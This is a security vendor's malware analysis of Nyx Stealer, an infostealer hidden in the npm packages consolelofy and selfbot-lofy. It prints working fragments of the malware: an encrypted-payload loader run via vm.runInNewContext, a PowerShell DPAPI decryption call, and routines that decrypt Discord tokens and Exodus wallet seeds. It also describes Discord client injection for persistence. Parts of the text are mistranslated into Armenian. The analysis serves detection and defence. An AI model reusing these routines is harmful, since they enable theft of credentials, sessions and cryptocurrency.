npm Infostealer

New npm Infostealer Discovery: Nyx Stealer Hijacks Discord Sessions

TL. DR

The Xygeni Security Research Team identified a sophisticated npm infostealer campaign delivered through two malicious packages: consolelofy և selfbot-lofy.

The latest version (consolelofy@1.3.0) embeds a 216KB AES-encrypted payload that decrypts at runtime and executes via vm.runInNewContext(). Because the malicious logic is fully encrypted, static scanners relying on string inspection cannot observe its behavior until execution time.

Once decrypted, the payload, internally branded Nyx Stealer, թիրախներ:

  • Discord authentication tokens
  • 50+ browser credential stores
  • 90+ cryptocurrency wallet extensions
  • Roblox, Instagram, Spotify, Steam, Telegram, and TikTok sessions
  • Discord desktop client persistence

All 20 versions across both packages were reported and confirmed malicious.

Technical Overview of This npm Infostealer

Unlike traditional install-time malware, this campaign relies on a Runtime decryption model.

Կան:

  • No malicious preinstall or postinstall hooks
  • No obvious install-time network calls
  • No plaintext credential harvesting logic

The payload activates when the module is imported. The entire malicious body is encrypted and only materializes in memory at runtime.

This design specifically avoids detection during package installation.

How This npm Infostealer Actually Executes

Before analyzing what Nyx Stealer steals, we need to understand how it executes.

The malicious logic inside this npm infostealer follows a consistent pattern:

A small loader decrypts a large encrypted payload and executes it dynamically inside a Node.js VM context.

This design is deliberate. The attacker is not hiding functionality behind obfuscation alone, they are removing the malicious code from static visibility entirely.

High-Level Execution Model

At a high level, the wrapper does four things:

  • Derives an AES key from a hardcoded passphrase using SHA-256
  • Decrypts a large hex-encoded ciphertext using AES-256-CBC
  • Executes the decrypted JavaScript using vm.runInNewContext()
  • Provides a sandbox that still exposes powerful runtime primitives

Core Technique Summary

Բաղադրիչ Configuration / Value
Ալգորիթմ AES-256-CBC
Բանալի ածանցում SHA-256(passphrase)
Initialization Vector (IV) 16 bytes of 0x00
կատարում vm.runInNewContext(decrypted, sandbox)

Critically, the sandbox passes through:

  • require
  • process
  • Buffer
  • ժամացույցներ
  • module exports

This means the decrypted payload retains full capability to:

  • Spawn processes
  • Read and write files
  • Make network calls
  • Modify local applications

This is not a restricted VM. It is a VM used as an execution trampoline.

Runtime Encryption Pattern (Core Execution Mechanism)

The loader is small.
The malicious body is not.

Below is the execution pattern found inside the package:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Ինչու է: Այս հարցերում

The decrypted payload:

  • Ինչ Նշում exist in plaintext inside the npm package
  • Is invisible to simple grep or static string scanning
  • Only materializes in memory at runtime
  • Executes with full Node runtime capabilities

This AES + VM execution combination is a strong behavioral indicator of an npm infostealer attempting to evade static inspection.

Այլ կերպ ասած.

If you scan the package source tree, you do not see a stealer.
You see a decryptor.

What Happens After Decryption

Once executed, Nyx Stealer launches parallel data collection waves.

Wave 1: Browser Credential Extraction

The malware:

  • Downloads a Python runtime from NuGet CDN
  • Installs cryptographic libraries
  • Extracts Chromium-based credential stores
  • Decrypts DPAPI-protected secrets

Instead of compiling native bindings, it leverages PowerShell to call Windows DPAPI directly.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Այս մոտեցումը.

  • Avoids compilation artifacts
  • Uses native Windows crypto APIs
  • Blends into administrative tooling

It is OS-level credential decryption, not scraping.

Wave 2: Discord Token Decryption

The stealer is protocol-aware. It understands Discord’s encrypted token format.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Operational flow:

  • Extract master key from Discord’s Local State
  • Decrypt master key via DPAPI
  • Decrypt AES-GCM token blobs
  • Validate tokens against Discord API
  • Enrich with Nitro, badges, billing info

This is not generic credential dumping. It is protocol-aware session hijacking.

Wave 3: Cryptocurrency Wallet Targeting

The npm infostealer enumerates:

  • 90+ browser wallet extensions
  • 27 desktop wallets
  • Cold wallet paths
  • Exodus seed files

Example seed decryption attempt:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

If successful, wallet compromise is immediate and irreversible.

This represents the campaign’s highest-value monetization vector.

Persistence via Discord Desktop Injection

After harvesting credentials, Nyx Stealer attempts persistence by modifying the local Discord հաճախորդը:

Թիրախը `

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Գործառնական հաջորդականություն

The infostealer performs the following steps:

  • Terminates running Discord processes
  • Locates installed Discord variants (Stable, Canary, PTB)
  • Overwrites discord_desktop_core/index.js
  • Injects attacker-controlled webhook logic
  • Restarts Discord

This ensures that future Discord sessions automatically leak fresh authentication tokens.

Importantly, this persistence does not rely on scheduled tasks or registry modifications. It leverages application-level code modification,  a stealthier approach.

Even if the malicious npm package is later removed, the Discord client remains compromised.

Technical Comparison: Legitimate Selfbot vs npm Infostealer

Բաղադրիչ Legitimate Library Nyx npm Infostealer
Encryption Ոչ մեկը Full AES-encrypted payload
Runtime VM Չի պահանջվում vm.runInNewContext ամայացում
Մուտք դեպի վկայականներ Discord API only Browser, wallets, DPAPI
External Downloads Ոչ Python runtime via NuGet
Համառություն Ոչ Discord client injection
դրամայնացումը Bot automation Credential resale

The encryption layer alone already separates this campaign from a typical open-source fork.

A legitimate Discord selfbot has no reason to encrypt its entire codebase, spawn PowerShell to access DPAPI, download external runtimes, or modify desktop application internals. When those capabilities appear inside a dependency that claims to automate Discord interactions, the architectural mismatch becomes impossible to ignore.

From an investigation standpoint, this npm infostealer leaves traces across multiple layers. However, the most reliable indicators are not hardcoded URLs or specific file paths, since those can change between versions. Instead, the durable signals are structural.

At the package level, the strongest red flag is the combination of a large encrypted payload and a runtime decryption wrapper that immediately executes via vm.runInNewContext(). While encryption alone is not inherently malicious, using AES decryption followed by dynamic VM execution inside a Discord utility package is highly anomalous.

At the host level, suspicious patterns include unexpected DPAPI decryption activity, process spawning from a Node.js dependency context, and modification of local application files that should never be altered by third-party libraries. Likewise, at the network layer, outbound webhook-style communication initiated by a development dependency represents another meaningful anomaly.

In other words, the detection surface is not a single indicator of compromise. It is the correlation of encryption, runtime execution, credential access, and persistence behavior that reveals the threat.

Detection and Mitigation with Xygeni

npm Infostealer

This npm infostealer was identified by Xygeni-ի վնասակար ծրագրերի վաղ նախազգուշացում (MEW) through layered behavioral correlation rather than simple signature matching.

Instead of searching for known malicious strings, MEW evaluates structural anomalies across the full source tree. In this case, detection emerged from the convergence of several signals: an embedded AES decryption routine in the module entry point, immediate execution inside a VM context, and a clear capability-to-intent mismatch.

Importantly, none of these signals alone prove malicious intent. However, when analyzed together, they expose an attempt to conceal runtime behavior. This layered approach significantly reduces false positives while identifying high-confidence supply chain threats.

Furthermore, this case illustrates why install-time inspection alone is insufficient. The malicious logic does not reside in lifecycle scripts. It activates only after the module loads and only becomes visible once decrypted in memory. Therefore, effective defense requires encryption-aware analysis, behavioral pattern recognition, and continuous dependency monitoring beyond installation events.

Registry takedown is reactive. Runtime-aware analysis is preventative.

Why This npm Infostealer Matters

Nyx Stealer represents a structural evolution in npm-based malware.

Historically, many malicious packages relied on visible install-time scripts or obvious credential exfiltration endpoints. By contrast, this campaign encrypts its payload, defers execution to runtime, leverages legitimate operating system APIs, and establishes persistence inside trusted applications.

Consequently, the attacker does not need to exploit npm infrastructure itself. Instead, the attack succeeds because dependency installation implies trust. Developers assume that importing a library is a safe operation, particularly when it presents itself as a plausible fork of a popular tool.

As ecosystems continue to grow and forks proliferate, that implicit trust boundary becomes an increasingly attractive attack surface. Therefore, defending against modern npm infostealers requires recognizing architectural patterns rather than searching for static strings.

Ultimately, this campaign reinforces a critical lesson in software supply chain security: the most dangerous threats are not the ones that look malicious at first glance, but the ones that appear structurally legitimate until runtime reveals their true behavior.

sca-tools-software-composition-analysis-tools
Առաջնահերթություն տվեք, շտկեք և պաշտպանեք ձեր ծրագրային ռիսկերը
Ստացեք ձեր անվճար հաշիվը։
Ոչ մի վարկային քարտ չի պահանջվում:

Ապահովեք ձեր ծրագրային ապահովման մշակումը և մատակարարումը

Xygeni Product Suite-ի հետ